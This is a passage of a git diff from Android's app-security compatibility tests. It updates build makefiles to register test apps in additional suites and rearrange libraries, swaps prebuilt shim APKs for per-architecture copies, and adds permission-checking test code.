+ + " to a normal protection permission: " + permissionInfo.name;
+ }
+ if (protectionLevel == PermissionInfo.PROTECTION_DANGEROUS && protectionFlags != 0) {
+ errorMessage += "\nCannot add protection flags: "
+ + protectionFlagsToString(permissionInfo.protectionLevel)
+ + " to a dangerous protection permission: " + permissionInfo.name;
+ }
+ }
+ if (errorMessage != null) {
+ fail(errorMessage);
+ }
+ }
+
+ private static String protectionFlagsToString(int protectionLevel) {
+ String flagsToString = "";
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "runtimeOnly" : "|runtimeOnly";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTANT) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "ephemeral" : "|ephemeral";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_INSTANT;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_APPOP) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "appop" : "|appop";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_APPOP;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_DEVELOPMENT) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "development" : "|development";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_DEVELOPMENT;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTALLER) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "installer" : "|installer";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_INSTALLER;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PRE23) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "pre23" : "|pre23";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PRE23;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PRIVILEGED) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "privileged" : "|privileged";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PRIVILEGED;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PREINSTALLED) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "preinstalled" : "|preinstalled";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PREINSTALLED;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_SYSTEM) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "system" : "|system";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_SYSTEM;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_SETUP) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "setup" : "|setup";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_SETUP;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_VERIFIER) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "verifier" : "|verifier";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_VERIFIER;
+ }
+ protectionLevel &= ~(PermissionInfo.PROTECTION_NORMAL
+ | PermissionInfo.PROTECTION_DANGEROUS
+ | PermissionInfo.PROTECTION_SIGNATURE);
+ if (protectionLevel != 0) {
+ flagsToString += flagsToString.isEmpty() ? Integer.toHexString(protectionLevel)
+ : "|" + Integer.toHexString(protectionLevel);
+ }
+ return flagsToString;
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index bb171e2..e86fae9 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
LOCAL_PACKAGE_NAME := CtsPrivilegedUpdateTests
@@ -46,9 +46,11 @@
LOCAL_BUILT_MODULE_STEM := package.apk
# Make sure the build system doesn't try to resign the APK
LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SRC_FILES := CtsShimPrivUpgrade.apk
+my_archs := arm x86
+my_src_arch := $(call get-prebuilt-src-arch, $(my_archs))
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_src_arch)/CtsShimPrivUpgrade.apk
include $(BUILD_PREBUILT)
@@ -63,8 +65,10 @@
LOCAL_BUILT_MODULE_STEM := package.apk
# Make sure the build system doesn't try to resign the APK
LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SRC_FILES := CtsShimPrivUpgradeWrongSHA.apk
+my_archs := arm x86
+my_src_arch := $(call get-prebuilt-src-arch, $(my_archs))
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_src_arch)/CtsShimPrivUpgradeWrongSHA.apk
include $(BUILD_PREBUILT)
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk
deleted file mode 100644
index a277907..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk
deleted file mode 100644
index a40f791..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
new file mode 100644
index 0000000..23df503
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
new file mode 100644
index 0000000..11f8674
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
new file mode 100644
index 0000000..fc9f02e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
new file mode 100644
index 0000000..bf49682
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index adf6a14..4f828ad 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsReadExternalStorageApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
index 548e397..22464bd 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSharedUidInstall
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSharedUidInstallDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
index 0f6cd69..a73d0fc 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSharedUidInstallDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSharedUidInstall
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
index a77a172..7180a10 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSimpleAppInstall
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSimpleAppInstallDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
index e478afb..bcd8a4e 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSimpleAppInstallDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSimpleAppInstall
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index e12feec..9341949 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
@@ -48,7 +48,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -56,7 +56,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -75,7 +75,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -83,7 +83,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
@@ -101,7 +101,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -109,7 +109,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
index aea49c6..a248b71 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
@@ -29,7 +29,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
featureOf := CtsSplitApp
featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index b1e2002..fbc7143 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -24,6 +24,6 @@
LOCAL_LDLIBS += -llog
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 51b91a4..bad39fb 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index dc1d703..9951098 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 28c2190..f6efcd6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index d1565e6..aa2de06 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 383030c..cd4eafc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index e9e71ee..2d7d008 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index 87f0e4a..291a3c6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
index 6367912..f3d7d35 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
@@ -18,13 +18,13 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
LOCAL_PACKAGE_NAME := CtsStorageAppA
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
index 2177da1..5f85459 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
@@ -18,13 +18,13 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
LOCAL_PACKAGE_NAME := CtsStorageAppB
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
index abee640..b5c30fb 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
@@ -18,14 +18,14 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
$(call all-java-files-under, ../StorageApp/src)
LOCAL_PACKAGE_NAME := CtsStorageStatsApp
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
index bfedb36..fea0878 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsTargetInstrumentationApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with different cert than CtsInstrumentationAppDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index f8db5aa..2b6c2b0 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -23,8 +23,9 @@
android-support-test \
compatibility-device-util \
ctstestrunner \
- ub-uiautomator \
- legacy-android-test
+ ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java \
@@ -34,7 +35,7 @@
LOCAL_PACKAGE_NAME := CtsUsePermissionApp22
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 9e6ea3e..305359c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -23,8 +23,9 @@
android-support-test \
compatibility-device-util \
ctstestrunner \
- ub-uiautomator \
- legacy-android-test
+ ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -32,7 +33,7 @@
LOCAL_PACKAGE_NAME := CtsUsePermissionApp23
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 658dcd0..d0ca617 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -17,6 +17,7 @@
package com.android.cts.usepermission;
import static junit.framework.Assert.assertEquals;
+
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.fail;
@@ -46,13 +47,16 @@
import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
import android.widget.ScrollView;
import android.widget.Switch;
+
+import junit.framework.Assert;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.TimeoutException;
-import junit.framework.Assert;
-import org.junit.Before;
-import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
public abstract class BasePermissionsTest {
@@ -65,6 +69,67 @@
private static final String LOG_TAG = "BasePermissionsTest";
private static Map<String, String> sPermissionToLabelResNameMap = new ArrayMap<>();
+ static {
+ // Contacts
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_CONTACTS,
+ "@android:string/permgrouplab_contacts");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_CONTACTS,
+ "@android:string/permgrouplab_contacts");
+ // Calendar
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_CALENDAR,
+ "@android:string/permgrouplab_calendar");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_CALENDAR,
+ "@android:string/permgrouplab_calendar");
+ // SMS
+ sPermissionToLabelResNameMap.put(Manifest.permission.SEND_SMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECEIVE_SMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_SMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECEIVE_WAP_PUSH,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put(Manifest.permission.RECEIVE_MMS,
+ "@android:string/permgrouplab_sms");
+ sPermissionToLabelResNameMap.put("android.permission.READ_CELL_BROADCASTS",
+ "@android:string/permgrouplab_sms");
+ // Storage
+ sPermissionToLabelResNameMap.put(Manifest.permission.READ_EXTERNAL_STORAGE,
+ "@android:string/permgrouplab_storage");
+ sPermissionToLabelResNameMap.put(Manifest.permission.WRITE_EXTERNAL_STORAGE,
+ "@android:string/permgrouplab_storage");
+ // Location
+ sPermissionToLabelResNameMap.put(Manifest.permission.ACCESS_FINE_LOCATION,
+ "@android:string/permgrouplab_location");
+ sPermissionToLabelResNameMap.put(Manifest.permission.ACCESS_COARSE_LOCATION,
+ "@android:string/permgrouplab_location");
+ // Phone
